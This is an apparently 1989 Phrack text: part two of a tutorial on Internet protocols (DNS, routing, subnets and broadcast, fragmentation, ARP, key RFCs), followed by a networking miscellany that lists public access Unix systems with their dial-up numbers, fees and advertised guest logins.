Fortunately, you don't really have to go through all of this most of the time. First of all, the root name servers also happen to be the name servers for the top‑level domains such as EDU. Thus a single query to a root server will get you to MIT. Second, software generally remembers answers that it got before. So once we look up a name at LCS.MIT.EDU, our software remembers where to find servers for LCS.MIT.EDU, MIT.EDU, and EDU. It also remembers the translation of BORAX.LCS.MIT.EDU. Each of these pieces of information has a "time to live" associated with it. Typically this is a few days. After that, the information expires and has to be looked up again. This allows institutions to change things.

The domain system is not limited to finding out Internet addresses. Each domain name is a node in a database. The node can have records that define a number of different properties. Examples are Internet address, computer type, and a list of services provided by a computer. A program can ask for a specific piece of information, or all information about a given name. It is possible for a node in the database to be marked as an "alias" (or nickname) for another node. It is also possible to use the domain system to store information about users, mailing lists, or other objects.

There is an Internet standard defining the operation of these databases as well as the protocols used to make queries of them. Every network utility has to be able to make such queries since this is now the official way to evaluate host names. Generally utilities will talk to a server on their own system. This server will take care of contacting the other servers for them. This keeps down the amount of code that has to be in each application program.

The domain system is particularly important for handling computer mail. There are entry types to define what computer handles mail for a given name to specify where an individual is to receive mail and to define mailing lists.

See RFCs 882, 883, and 973 for specifications of the domain system. RFC 974 defines the use of the domain system in sending mail.

Routing

~~~~~~~

The task of finding how to get a datagram to its destination is referred to as "routing." Many of the details depend upon the particular implementation. However some general things can be said.

It is necessary to understand the model on which IP is based. IP assumes that a system is attached to some local network. It is assumed that the system can send datagrams to any other system on its own network. (In the case of Ethernet, it simply finds the Ethernet address of the destination system, and puts the datagram out on the Ethernet.) The problem comes when a system is asked to send a datagram to a system on a different network. This problem is handled by gateways.

A gateway is a system that connects a network with one or more other networks. Gateways are often normal computers that happen to have more than one network interface. The software on a machine must be set up so that it will forward datagrams from one network to the other. That is, if a machine on network 128.6.4 sends a datagram to the gateway, and the datagram is addressed to a machine on network 128.6.3, the gateway will forward the datagram to the destination. Major communications centers often have gateways that connect a number of different networks.

Routing in IP is based entirely upon the network number of the destination address. Each computer has a table of network numbers. For each network number, a gateway is listed. This is the gateway to be used to get to that network. The gateway does not have to connect directly to the network, it just has to be the best place to go to get there.

When a computer wants to send a datagram, it first checks to see if the destination address is on the system's own local network. If so, the datagram can be sent directly. Otherwise, the system expects to find an entry for the network that the destination address is on. The datagram is sent to the gateway listed in that entry. This table can get quite big. For example, the Internet now includes several hundred individual networks. Thus various strategies have been developed to reduce the size of the routing table. One strategy is to depend upon "default routes." There is often only one gateway out of a network.

This gateway might connect a local Ethernet to a campus‑wide backbone network. In that case, it is not neccessary to have a separate entry for every network in the world. That gateway is simply defined as a "default." When no specific route is found for a datagram, the datagram is sent to the default gateway. A default gateway can even be used when there are several gateways on a network. There are provisions for gateways to send a message saying "I'm not the best gateway ‑‑ use this one instead." (The message is sent via ICMP. See RFC 792.) Most network software is designed to use these messages to add entries to their routing tables. Suppose network 128.6.4 has two gateways, 128.6.4.59 and 128.6.4.1. 128.6.4.59 leads to several other internal Rutgers networks. 128.6.4.1 leads indirectly to the NSFnet. Suppose 128.6.4.59 is set as a default gateway, and there are no other routing table entries. Now what happens when you need to send a datagram to MIT? MIT is network 18. Since there is no entry for network 18, the datagram will be sent to the default, 128.6.4.59. This gateway is the wrong one. So it will forward the datagram to 128.6.4.1. It will also send back an error saying in effect: "to get to network 18, use 128.6.4.1." The software will then add an entry to the routing table. Any future datagrams to MIT will then go directly to 128.6.4.1. (The error message is sent using the ICMP protocol. The message type is called "ICMP redirect.")

Most IP experts recommend that individual computers should not try to keep track of the entire network. Instead, they should start with default gateways and let the gateways tell them the routes as just described. However this doesn't say how the gateways should find out about the routes. The gateways can't depend upon this strategy. They have to have fairly complete routing tables. For this, some sort of routing protocol is needed. A routing protocol is simply a technique for the gateways to find each other and keep up to date about the best way to get to every network. RFC 1009 contains a review of gateway design and routing.

Details About Internet Addresses: Subnets And Broadcasting

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Internet addresses are 32‑bit numbers, normally written as 4 octets (in decimal), e.g. 128.6.4.7. There are actually 3 different types of address. The problem is that the address has to indicate both the network and the host within the network. It was felt that eventually there would be lots of networks. Many of them would be small, but probably 24 bits would be needed to represent all the IP networks. It was also felt that some very big networks might need 24 bits to represent all of their hosts. This would seem to lead to 48 bit addresses. But the designers really wanted to use 32 bit addresses. So they adopted a kludge. The assumption is that most of the networks will be small. So they set up three different ranges of address.

Addresses beginning with 1 to 126 use only the first octet for the network number. The other three octets are available for the host number. Thus 24 bits are available for hosts. These numbers are used for large networks, but there can only be 126 of these. The ARPAnet is one and there are a few large commercial networks. But few normal organizations get one of these "class A" addresses.

For normal large organizations, "class B" addresses are used. Class B addresses use the first two octets for the network number. Thus network numbers are 128.1 through 191.254. (0 and 255 are avoided for reasons to be explained below. Addresses beginning with 127 are also avoided because they are used by some systems for special purposes.) The last two octets are available for host addesses, giving 16 bits of host address. This allows for 64516 computers, which should be enough for most organizations. Finally, class C addresses use three octets in the range 192.1.1 to 223.254.254. These allow only 254 hosts on each network, but there can be lots of these networks. Addresses above 223 are reserved for future use as class D and E (which are currently not defined).

0 and 255 have special meanings. 0 is reserved for machines that do not know their address. In certain circumstances it is possible for a machine not to know the number of the network it is on, or even its own host address. For example, 0.0.0.23 would be a machine that knew it was host number 23, but didn't know on what network.

255 is used for "broadcast." A broadcast is a message that you want every system on the network to see. Broadcasts are used in some situations where you don't know who to talk to. For example, suppose you need to look up a host name and get its Internet address. Sometimes you don't know the address of the nearest name server. In that case, you might send the request as a broadcast. There are also cases where a number of systems are interested in information. It is then less expensive to send a single broadcast than to send datagrams individually to each host that is interested in the information. In order to send a broadcast, you use an address that is made by using your network address, with all ones in the part of the address where the host number goes. For example, if you are on network 128.6.4, you would use 128.6.4.255 for broadcasts. How this is actually implemented depends upon the medium. It is not possible to send broadcasts on the ARPAnet, or on point to point lines, but it is possible on an Ethernet. If you use an Ethernet address with all its bits on (all ones), every machine on the Ethernet is supposed to look at that datagram.

Because 0 and 255 are used for unknown and broadcast addresses, normal hosts should never be given addresses containing 0 or 255. Addresses should never begin with 0, 127, or any number above 223.

Datagram Fragmentation And Reassembly

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

TCP/IP is designed for use with many different kinds of networks. Unfortunately, network designers do not agree about how big packets can be. Ethernet packets can be 1500 octets long. ARPAnet packets have a maximum of around 1000 octets. Some very fast networks have much larger packet sizes. You might think that IP should simply settle on the smallest possible size, but this would cause serious performance problems. When transferring large files, big packets are far more efficient than small ones. So it is best to be able to use the largest packet size possible, but it is also necessary to be able to handle networks with small limits. There are two provisions for this.

TCP has the ability to "negotiate" about datagram size. When a TCP connection first opens, both ends can send the maximum datagram size they can handle. The smaller of these numbers is used for the rest of the connection. This allows two implementations that can handle big datagrams to use them, but also lets them talk to implementations that cannot handle them. This does not completely solve the problem. The most serious problem is that the two ends do not necessarily know about all of the steps in between. For this reason, there are provisions to split datagrams up into pieces. This is referred to as "fragmentation."

The IP header contains fields indicating that a datagram has been split and enough information to let the pieces be put back together. If a gateway connects an Ethernet to the Arpanet, it must be prepared to take 1500‑octet Ethernet packets and split them into pieces that will fit on the Arpanet. Furthermore, every host implementation of TCP/IP must be prepared to accept pieces and put them back together. This is referred to as "reassembly."

TCP/IP implementations differ in the approach they take to deciding on datagram size. It is fairly common for implementations to use 576‑byte datagrams whenever they can't verify that the entire path is able to handle larger packets. This rather conservative strategy is used because of the number of implementations with bugs in the code to reassemble fragments. Implementors often try to avoid ever having fragmentation occur. Different implementors take different approaches to deciding when it is safe to use large datagrams. Some use them only for the local network. Others will use them for any network on the same campus. 576 bytes is a "safe" size which every implementation must support.

Ethernet Encapsulation: ARP

~~~~~~~~~~~~~~~~~~~~~~~~~~~~

In Part One of Introduction to the Internet Protocols (Phrack Inc., Volume Three, Issue 28, File #3 of 12) there was a brief description about what IP datagrams look like on an Ethernet. The discription showed the Ethernet header and checksum, but it left one hole: It did not say how to figure out what Ethernet address to use when you want to talk to a given Internet address. There is a separate protocol for this called ARP ("address resolution protocol") and it is not an IP protocal as ARP datagrams do not have IP headers.

Suppose you are on system 128.6.4.194 and you want to connect to system 128.6.4.7. Your system will first verify that 128.6.4.7 is on the same network, so it can talk directly via Ethernet. Then it will look up 128.6.4.7 in its ARP table to see if it already knows the Ethernet address. If so, it will stick on an Ethernet header and send the packet. Now suppose this system is not in the ARP table. There is no way to send the packet because you need the Ethernet address. So it uses the ARP protocol to send an ARP request. Essentially an ARP request says "I need the Ethernet address for 128.6.4.7". Every system listens to ARP requests. When a system sees an ARP request for itself, it is required to respond. So 128.6.4.7 will see the request and will respond with an ARP reply saying in effect "128.6.4.7 is 8:0:20:1:56:34". Your system will save this information in its ARP table so future packets will go directly.

ARP requests must be sent as "broadcasts." There is no way that an ARP request can be sent directly to the right system because the whole reason for sending an ARP request is that you do not know the Ethernet address. So an Ethernet address of all ones is used, i.e. ff:ff:ff:ff:ff:ff. By convention, every machine on the Ethernet is required to pay attention to packets with this as an address. So every system sees every ARP requests. They all look to see whether the request is for their own address. If so, they respond. If not, they could just ignore it, although some hosts will use ARP requests to update their knowledge about other hosts on the network, even if the request is not for them. Packets whose IP address indicates broadcast (e.g. 255.255.255.255 or 128.6.4.255) are also sent with an Ethernet address that is all ones.

Getting More Information

~~~~~~~~~~~~~~~~~~~~~~~~

This directory contains documents describing the major protocols. There are hundreds of documents, so I have chosen the ones that seem most important. Internet standards are called RFCs (Request for Comments). A proposed standard is initially issued as a proposal, and given an RFC number. When it is finally accepted, it is added to Official Internet Protocols, but it is still referred to by the RFC number. I have also included two IENs (Internet Engineering Notes). IENs used to be a separate classification for more informal documents, but this classification no longer exists and RFCs are now used for all official Internet documents with a mailing list being used for more informal reports.

The convention is that whenever an RFC is revised, the revised version gets a new number. This is fine for most purposes, but it causes problems with two documents: Assigned Numbers and Official Internet Protocols. These documents are being revised all the time and the RFC number keeps changing. You will have to look in rfc‑index.txt to find the number of the latest edition. Anyone who is seriously interested in TCP/IP should read the RFC describing IP (791). RFC 1009 is also useful as it is a specification for gateways to be used by NSFnet and it contains an overview of a lot of the TCP/IP technology.

Here is a list of the documents you might want:

rfc‑index List of all RFCs

rfc1012 Somewhat fuller list of all RFCs

rfc1011 Official Protocols. It's useful to scan this to see what tasks protocols have been built for. This defines which RFCs are actual standards, as opposed to requests for comments. rfc1010 Assigned Numbers. If you are working with TCP/IP, you will probably want a hardcopy of this as a reference. It lists all the offically defined well‑known ports and lots of other things.

rfc1009 NSFnet gateway specifications. A good overview of IP routing and gateway technology.

rfc1001/2 NetBIOS: Networking for PCs

rfc973 Update on domains

rfc959 FTP (file transfer)

rfc950 Subnets

rfc937 POP2: Protocol for reading mail on PCs

rfc894 How IP is to be put on Ethernet, see also rfc825 rfc882/3 Domains (the database used to go from host names to Internet address and back ‑‑ also used to handle UUCP these days). See also rfc973

rfc854/5 Telnet ‑ Protocol for remote logins

rfc826 ARP ‑ Protocol for finding out Ethernet addresses rfc821/2 Mail

rfc814 Names and ports ‑ General concepts behind well‑known ports rfc793 TCP

rfc792 ICMP

rfc791 IP

rfc768 UDP

rip.doc Details of the most commonly‑used routing protocol ien‑116 Old name server (still needed by several kinds of systems) ien‑48 The Catenet model, general description of the philosophy behind TCP/IP

The following documents are somewhat more specialized.

rfc813 Window and acknowledgement strategies in TCP rfc815 Datagram reassembly techniques

rfc816 Fault isolation and resolution techniques rfc817 Modularity and efficiency in implementation rfc879 The maximum segment size option in TCP

rfc896 Congestion control

rfc827,888,904,975,985 EGP and related issues

The most important RFCs have been collected into a three‑volume set, the DDN Protocol Handbook. It is available from the DDN Network Information Center at SRI International. You should be able to get them via anonymous FTP from SRI‑NIC.ARPA. The file names are:

RFCs:

rfc:rfc‑index.txt

rfc:rfcxxx.txt

IENs:

ien:ien‑index.txt

ien:ien‑xxx.txt

Sites with access to UUCP, but not FTP may be able to retreive them via UUCP from UUCP host rutgers. The file names would be

RFCs:

/topaz/pub/pub/tcp‑ip‑docs/rfc‑index.txt /topaz/pub/pub/tcp‑ip‑docs/rfcxxx.txt

IENs:

/topaz/pub/pub/tcp‑ip‑docs/ien‑index.txt /topaz/pub/pub/tcp‑ip‑docs/ien‑xxx.txt

Network Miscellany II

==Phrack Inc.==

Volume Three, Issue 29, File #4 of 12

Network Miscellany II

~~~~~~~~~~~

by Taran King

November 17, 1989

BROADCASTING NETWORKS

~~~~~~~~~~~~~~~~~~~~~

Although these articles discuss things about communicating through computer networks, there are ways to contact broadcasting networks via the nets. The Public Broadcasting Service (PBS) has their own UUCP node:

Public Broadcasting Service (PBS)

UUCP Node name: pbs

Node contact: pbs!postmaster (Senton R. Droppers)

Telephone number: (703) 739‑5089

There are also a number of radio stations that can be contacted via Fidonet:

KFCF

Fresno, CA

Contact: Randy.Stover@f42.n205.z1.fidonet.org

KKSF

San Fransisco, CA

Contact: Tim.Pozar@fidogate.fidonet.org

KKDA

Dallas, TX

Contact: Gerry.Dalton@f1213.n124.z1.fidonet.org

ECNCDC (BITNET)

~~~~~~~~~~~~~~~

Western Illinois University, Eastern Illinois University as well as the University of Northeastern Illinois, Chicago State University and Governors State University are part of the Educational Computing Network. The Educational Computing Network is a service of the Board of Governors of State Colleges and Universities operating as a cooperative to supply mainframe academic computing resources to each of its members (ECN is strictly for academic use and does no administrative computing). The cooperative effort of the members of the Educational Computing Network allows for more academic computing resources to be made available to the members than they could supply on their own.

Each member institution of the Educational Computing Network has a unique letter for the first letter in all their user names. The letters are:

Chicago State University ‑ B

Eastern Illinois University ‑ C

Governors State University ‑ G

Western Illinois University ‑ M

University of Northeastern Illinois ‑ U

Each member of ECN also has a person which is the interface between ECN and the university called their User Coordinator. The User Coordinator's username consists of their school letter followed by UCM000 (the User Coordinator for WIU is MUCM000).

For more information about the Educational Computing Network, contact XJJGUDE@ECNCDC.BITNET

MCI MAIL

~~~~~~~~

If you read the first Network Miscellany article which appeared in Phrack 28, you may remember my mentioning CMR, the Commercial Mail Relay. Unfortunately, due to its restrictions about who can use it (supposedly), it has potential to become a sticky situation if the user you are sending to no longer has his MCI Mail account or if you accidentally mistype the MCI Mail address. But to save us from this potential problem, MCI Mail now has their own domain on the Internet, MCIMAIL.COM so mailing to userid@MCIMAIL.COM should work just as well as CMR without the risks of being yelled at (and possibly billed).

PUBLIC ACCESS UNIXES

~~~~~~~~~~~~~~~~~~~~

Part of the problem with the whole idea of using the Wide Area Networks is access. For those who are not enrolled in a university or cannot pull strings at their local business or college, the concept of communicating through the networks is useless besides thinking that it would be neat. Thanks to Phil Eschallier, phil@lgnp1.UUCP or phil@LS.COM, you should now be able to get access to the Wide Area Networks via UUCP. The following is a list of Public Access Unix systems taken from the Usenet Newsgroup pub.nixpub which Phil keeps up and there are two versions, both of which contain the same basic information but each has important information which the other does not necessarily have. I urge you to attempt to get on one of these systems and drop us a line over the networks.

nixpub long listing

Open Access UNIX (*NIX) Sites [Fee / No Fee] for mapped sites only

[ November 12, 1989 ]

Systems listed (73):

[ agora, alphacm, althea, amazing, anet, attctc, bigtex, bucket, chariot ] [ chinet, cinnet, conexch, cpro, cruzio, dasys1, ddsw1, dhw68k, disk ] [ eklektik, esfenn, gensis, grebyn, i‑core, igloo, jdyx, jolnet, lgnp1 ] [ lilink, loft386, lunapark, m‑net, madnix, magpie, marob, ncoast, netcom ] [ nstar, nuchat, nucleus, oncoast, ozdaltx, pallas, pnet01, pnet02 ] [ pnet51, point, polari, portal, raider, rpp386, rtmvax, sactoh0, sharks ] [ sir‑alan, sixhub, stanton, stb, sugar, telly, tmsoft, tnl, turnkey ] [ ubbs‑nh, usource, uuwest, vpnet, well, wet, wolves, world, wybbs ]

[ xroads, ziebmef

Last

Contact

Date Telephone # Sys‑name Location Baud Hours

‑‑‑‑‑ ‑‑‑‑‑‑‑‑‑‑‑‑ ‑‑‑‑‑‑‑‑ ‑‑‑‑‑‑

08/89 201‑846‑2460^ althea New Brunswick NJ 3/12/24 24 AT&T 3B2/310 ‑ Unix SVR3.1, no fee. USENET, email, C development, games. Single line.

Contact: rjd@althea.UUCP (Robert Diamond)

10/89 206‑328‑4944 polari Seatle WA 3/12 24 Equip ???; 8‑lines, Trailblazer on 206‑328‑1468; $30/year (flat rate); Multi‑user games, chat, full USENET.

Contact: uunet!microsoft!happym!polari!bruceki

10/89 212‑420‑0527 magpie NYC NY 3/12/24/96 24 ? ‑ UNIX SYSV ‑ 2, Magpie BBS, no fee, Authors: Magpie/UNIX,/MSDOS two lines plus anonymous uucp: 212‑677‑9487 (9600 bps Telebit modem) NOTE: 9487 reserved for registered Magpie sysops & anon uucp Contact: Steve Manes, {rutgers|cmcl2|uunet}!hombre!magpie!manes

10/89 212‑675‑7059 marob NYC NY 3/12/24 24 386 SCO‑XENIX 2.2, XBBS, magpie bbs, no fee, limit 60 min Telebit Trailblazer (9600 PEP) only 212‑675‑8438

Contact: {philabs|rutgers|cmcl2}!{phri|hombre}!marob!clifford

05/89 212‑879‑9031^ dasys1 NYC NY 12/24 24 Unistride ‑ SYS V, multiple lines, fee $5/mo AKA Big Electric Cat USENET, games, multi‑user chat, email, login: new, passwd: new Contact: ...!rutgers!cmcl2!rsweeney or rsweeney@dasys1.UUCP

09/89 213‑376‑5714^ pnet02 Redondo Bch CA 3/12/24 24 XENIX (also 213‑374‑7404) no fee, 90 min limit, login: pnet id: new some USENET, net‑work e‑mail, multi‑threaded conferencing

09/89 213‑397‑3137^ stb Santa Monica CA 3/12/24 24 AT&T 3b1; BBS and shell access; uucp‑anon: ogin: uucp NO PASSWD 3 line on rotory ‑3137 2400 baud.

03/88 213‑459‑5891 amazing Pacific Palisades CA 3/12/24 24 AMT 286 ‑ Microport David's Amazing BBS Fee $7.50/month;$35/6;$60/year 5 lines on rotary; Unique original software with conferencing, electronic bar, matchmaking, no file up/downloading

07/88 214‑247‑2367 ozdaltx Dallas TX 3/12/24 24 INTEC/SCO XENIX 2.2.1, OZ BBS, Membership only adult BBS, fee $40 year. Multiple lines. Closed system, carries limited USENET newsgroups. Login: guest (no PW). Voice verification on all new users.

07/89 214‑824‑7881 attctc Dallas TX 3/12/24 24 3b2/522 ‑ UNIX, no fee, various time limits, 8 lines 2.8 GB online uucp‑anon ‑‑> 214‑741‑2130 ogin: uupdsrc word: Public uucp‑anon info in: /bbsys4/README (Formerly node name killer)

11/89 215‑348‑9727 lgnp1 Doylestown PA 3/12/24/96 24 SCO‑XENIX ‑‑ Telebit access. Shell accounts by appointment only; Fee; Services include E‑mail, USENET News; ‑‑Home of the Nixpub lists‑Contact: phil@ls.com.

anon‑uucp: nuucp NO PWD (download /usr/spool/uucppublic/nixpub

or /usr/spool/uucppublic/nixpub.short)

09/89 216‑582‑2441 ncoast Cleveland OH 12/24/96 24 80386 Mylex, SCO Xenix; 600 meg. storage; XBBS and Shell; USENET (newsfeeds available), E‑Mail; donations requested; login as "bbs" for BBS and "makeuser" for new users.

Telebit used on 216‑237‑5486.

08/88 217‑529‑3223 pallas Springfield IL 3/12/24 24 Convrgnt Minifrme, multiple lines, 200 meg Minnie bbs $25 donation

10/89 219‑289‑0286 nstar South Bend IN 3/12/24/96 24 Equip ???, UNIX 3.2; 300 Meg On‑line; 4 lines at 9600 baud ‑(listed) ‑ Hayes V‑Series, (287‑9020) ‑ HST, (289‑3745) ‑ PEP; Full USENET, AKCS Software; Contact ..!iuvax!ndcheg!ndmath!nstar!larry

08/88 312‑283‑0559^ chinet Chicago IL 3/12/24 24 3b2/300 ‑ SYS V 3.1, multiple lines, Picospan BBS, system & BBS free Extra phone lines and usenet, $50/yr.

10/89 312‑338‑0632^ point Chicago IL 3/12/24/96 24 North Shore / Rogers Park area of Chicago. 386 ‑ ISC 2.01 (SysV3.2), multiple lines, Telebit PEP on 338‑3261, USRobotics HST on 338‑1036, AKCS bbs, some usenet conferences available. 200+ MB online storage. Downloads, full usenet & shell access in the works.

04/89 313‑623‑6309 nucleus Clarkston MI 12/24 24 286 ‑ Unix System V, no fee. Shell access, full usenet access, online games, AKCS conferencing system, some public domain sources online, extensive tape library of public domain source code

02/88 313‑994‑6333 m‑net Ann Arbor MI 3/12 24 Altos 68020 ‑ SYS III, limits unstated, fee for extended service Picospan conference system, multiple lines, 160 meg, packet radio

08/89 313‑996‑4644^ anet Ann Arbor MI 3/12 24 Altos 68000 ‑ Sys III, no limits, 1st month free, fees range up to $20/ month (negotiable), accepts equipment/software in lieu of fees, Picospan conferencing, 120M, non‑profit, user‑supported, community‑based, ideal autodidact educational system. Tax‑deductible donations okay.

08/89 314‑474‑4581 gensis Columbia MO 3/12/24/48/96 24 Gateway 386 system w/ SCO Xenix V/386, DataFlex, Oracle, CHARM, & VP/ix. No fee. Online gaming, game design, and (oddly enough) data base design are the main focus. Modem is Microcom MNP 6.

10/89 404‑321‑5020^ jdyx Atlanta GA 12/24/96 24 386/ix 2.0.2. XBBS. Usenet (alt, gnu, most comp and a few others) and shell access. Second line (2400 below) (404) 325‑1719. 200+ meg current Usenet and GNU sources. Specializing in graphics and ray‑tracing under 386/ix (with/with out X11). Yearly fee for shell and/or downloads. Telebit access. Contact: ...gatech!emory!jdyx!tpf (Tom Friedel)

05/88 407‑380‑6228 rtmvax Orlando FL 3/12/24 24 mVAX‑I ‑ Ultrix‑32 V1.2 USENET & UUCP Email Gateway. XBBS front end for new user subscribing. No Fees. Primary function is Technical exchange. Contact: { cbosgd!codas, hoptoad!peora }!rtmvax!rob

09/89 408‑245‑7726^ uuwest Sunnyvale CA 3/12/24 24 SCO‑XENIX, Waffle. No fee, USENET news (news.*, music, comics, telecom, etc) The Dark Side of the Moon BBS. This system has been in operation since 1985. Login: new Contact: (UUCP) ames!uuwest!request (Domain) request@darkside.com

04/88 408‑247‑4810 sharks Santa Clara CA 3/12 24 Altos 886/80/80 ‑ XENIX 3.2f AKA: Shark's Head BBS, BBCS Network Multiple lines,no fee for non‑members,members $25 year Restricted sh access and UUCP/Usenet access for advanced members

11/89 408‑423‑9995 cruzio Santa Cruz CA 12/24 24 Tandy 4000, Xenix 2.3.*, Caucus 3.*; focus on Santa Cruz activity (ie directory of community and goverment organizations, events, ...); Multiple lines; no shell; fee: $18/quarter.

Contact: ...!uunet!cruzio!chris

10/89 408‑725‑0561^ portal Cupertino CA 3/12/24 24 Networked Suns (SunOS), multiple lines, Telenet access, no shell access fees: $10/month + Telenet charges (if used) @ various rates/times conferencing, multi user chats, usenet

02/89 408‑997‑9119^ netcom San Jose CA 3/12/24/96 24 Unix System V ‑‑ Shell Access [Bourne, Korn, C‑Shell], BBS, USENET, Languages: C, Lisp, Prolog, Clips, (Ada soon), $10 / month, login as 'guest' no password. Contact netcom!bobr.

10/89 412‑431‑8649 eklektik Pittsburgh PA 3/12/24 24 UNIX PC‑ SYSV ‑ UNaXcess BBS, new system ‑ donation requested for shell, login: bbs for BBS, uucp‑mail, limited Usenet news feeds. Gaming SIGS. Contact: ...!gatech!emoryu1!eklektik!anthony

11/89 415‑332‑6106^ well Sausalito CA 12/24 24 6‑processor Sequent Balance (32032); UUCP and USENET access; multiple lines; access via CPN; PICOSPAN BBS; $3/hour. Contact (415) 332‑4335

06/88 415‑582‑7691 cpro Hayward CA 12/24 24 Microport SYSV 2, UNaXcess bbs, no fee, 60 min limit, shell access

07/89 415‑753‑5265^ wet San Francisco CA 3/12/24 24 386 SYS V.3. Wetware Diversions. $15 registration, $0.01/minute. Public Access UNIX System: uucp, PicoSpan bbs, full Usenet News, multiple lines, shell access. Newusers get initial credit! contact:{ucsfcca|claris|hoptoad}!wet!cc (Christopher Cilley)

05/89 415‑783‑2543 esfenn Hayward CA 3/12/24 24 System ????; USENET news; E‑mail; No charges; Contact esfenn!william.

01/89 416‑452‑0926 telly Brampton ON 12/24/96 24 286 Xenix; proprietary menu‑based BBS includes Usenet site searching. News (all groups, incl biz, pubnet, gnu), mail (including to/from Internet), some archives. Feeds available. Fee: $75(Cdn)/year.

Contact: Evan Leibovitch, evan@telly.on.ca, {uunet!attcan,utzoo}!telly!evan

12/88 416‑461‑2608 tmsoft Toronto ON 3/12/24/96 24 NS32016, Sys5r2, shell; news+mail $30/mo, general‑timesharing $60/mo All newsgroups. Willing to setup mail/news connections. Archives:comp.sources.{unix,games,x,misc}

Contact: Dave Mason <mason@tmsoft> / Login: newuser

07/89 416‑654‑8854 ziebmef Toronto ON 3/12/24/96 24 AT&T 3B1, Sys V, shell, news, mail, no fee (donations accepted) Carries most newsgroups (willing to add extra ones on request) Telebit access, willing to give mail feeds

Contact: Chris Siebenmann, {utzoo!telly,ncrcan}!ziebmef!cks

08/89 502‑968‑5401 disk Louisville KY 3/12 24 386 clone, Microport System V, 600 meg. 6 lines 5401 thru 5406. rarrying most USENET groups, Shell access, games, downloads, multi‑user chat, and more. Rate info available via a free trial account.

12/88 503‑254‑0458 bucket Portland OR 3/12/24 24 Tektronix 6130, UTek 2.3(4.2BSD‑derived). Bit Bucket BBS publically available; login as 'bbs'. BBS is message only. Users intereseted in access to Unix should contact SYSOP via the BBS or send EMail to ..tektronix!tessi!bucket!rickb. Unix services include USENET News, EMail, and all tools/games/utility access. Alternate dial‑in lines available for Unix users.

05/89 503‑640‑4262^ agora PDX OR 3/12/24 24 Intel Xenix‑286, $2/mo or $20/yr, news, mail, games, programming two lines with trunk‑hunt, 4380 supports MNP level 3.

Contact: Alan Batie, tektronix!tessi!agora!batie

10/89 512‑346‑2339 bigtex Austin TX 96 24 Equip unknown, no shell, no fee, anonymous uucp ONLY, Telebit 9600/PEP mail & newsfeeds (limited) available. Carries GNU software. anon login: nuucp NO PASSWD, file list /usr3/index

Contact: ...!uunet!utastro!bigtex!james

07/89 512‑832‑8835 rpp386 Austin TX 12/24 24 386 SYSV, no shell, no bbs, anonymous uucp file transfer site only, no fee uucp and kermit server available, login uucp or kermit NO PASSWD

10/89 513‑779‑8209 cinnet Cincinnati OH 12/24/96 24 80386, ISC 386/ix 2.02, Telebit access, 1 line; $7.50/Month; shell access, Usenet access; news feeds available;

login: newact password: new user to register for shell access

05/89 516‑872‑2137 lilink Long Island NY 12/24 24 80386/20 Mhz. , three lines, News/Mail/Shell access. Online games, conferencing, full program development system, full text processing. We carry ALL Usenet groups. Dues are $10/month (unlimited access). Accounts are filled by application/phone verification. Login: new Alternate numbers: 516‑872‑2138 & 516‑872‑2349

07/89 517‑487‑3356 lunapark E. Lansing MI 12/24 24 Compaq 386/20 SCO‑XENIX 2.3.1, lunabbs bulletin board & conferencing system, no fee, login: bbs no password. Primarily UNIX software with focus on TeX and Postscript, also some ATARI‑ST and IBM‑PC stuff 2400/1200 ‑‑> 8 N 1

Contact: ...!uunet!frith!lunapark!larry

12/88 518‑346‑8033 sixhub upstate NY 3/12/24 24 PC Designs GV386. hub machine of the upstate NY UNIX users group (*IX) two line reserved for incoming, bbs no fee, news & email fee $15/year Smorgasboard of BBS systems, UNaXcess and XBBS online,

Citadel BBS now in production. Contact: davidsen@sixhub.uucp.

09/88 602‑941‑2005 xroads Phoenix AZ 12/24 24 Motorola VME1121, UNIX 5.2, Crossroads BBS, Fee $30/yr + $.50/.25 (call) prime (evenings)/non‑prime, USENET news, multi‑chat, online games, movie reviews, adventure games, dos unix/xenix files for dload, multi lines

08/89 603‑880‑8120 ubbs‑nh Nashua NH 3/12/24/96 24 New England Unix Archive Site. Multiple lines. Services include E‑Mail, full or partial news feeds. XBBS access $25/year, User Accounts or News Feeds available $60/year (1 hour/day) or $120/year (2 hours/day). Contact: noel@ubbs‑nh or {decvax}!ubbs‑nh!noel or leave message on the bbs. Voice: 603 595‑2947

08/89 605‑348‑2738 loft386 Rapid City SD 3/12/24/96 24 80386 SYS V/386 Rel 3.2, Usenet mail/news via UUNET, UUNET archive access. NO BBS! News feeds avaliable. 400 meg hd. Fees: $10/month or $25/quarter. Call (605) 343‑8760 and talk to Doug Ingraham to arrange an account or email uunet!loft386!dpi

08/88 608‑273‑2657 madnix Madison WI 3/12/24 24 286 SCO‑XENIX, shell, no fee, USENET news, mail, login: newuser Contact: ray@madnix

08/89 612‑473‑2295 pnet51 Minneapolis MN 3/12/24 24 Equip ?, Xenix, multi‑line, no fee, some Usenet news, email, multi‑threaded conferencing, login: pnet id: new, PC Pursuitable

UUCP: {rosevax, crash}!orbit!pnet51!admin

08/89 615‑896‑8716 raider Murfreesboro TN 12/24 24 Tandy 4000 XENIX, XBBS, shell accounts, news and mail, newsfeeds available. Two line system; second dialup is 615‑896‑7905. Contact: root@raider.MFEE.TN.US (Bob Reineri); NO CHARGE.

07/89 616‑457‑1964 wybbs Jenison MI 3/12/24 24 286 ‑ SCO‑XENIX 2.2.1, no fees, two lines, shell access, usenet news, 150 meg storage, XBBS, interests: ham radio, xenix

AKA: Consultants Connection Contact: danielw@wybbs.UUCP Alternate phone #: 616‑457‑9909 (max 1200 baud)

11/89 617‑739‑9753 world Brookline MA 3/12/24/96 24 Sun 4/280, SunOS 4.03; Shell, USENET, E‑Mail, UUCP and home of the Open Book Initiative (text project); fees: 8a‑6p $8/hr, 6p‑12a $5/hr, 12a‑8a $2.50/hr; Multiple lines: 2400 MNP used on listed number, Telebits used on others; login as "new"; Contact: geb@world.std.com

07/88 619‑444‑7006^ pnet01 El Cajon CA 3/12/24 24 BSD Unix, 3 lines, login: pnet id: new, some USENET, email, conferencing Home of P‑Net software, mail to crash!bblue or pnet01!bblue for info. Contributions requested

Unix accounts available for regulars, PC Pursuit access 2/88.

10/88 703‑281‑7997^ grebyn Vienna VA 3/12/24/96 24 Vax/Ultrix. $25/month. GNU EMACS, USENET, PC/BLUE archives, Telebit on 7998 and 7999, archives, Ada repository, comp.sources.(misc,unix,games) archives, net.sources archives, 3 C compilers, Ada compiler, 500MB disk, multiple lines

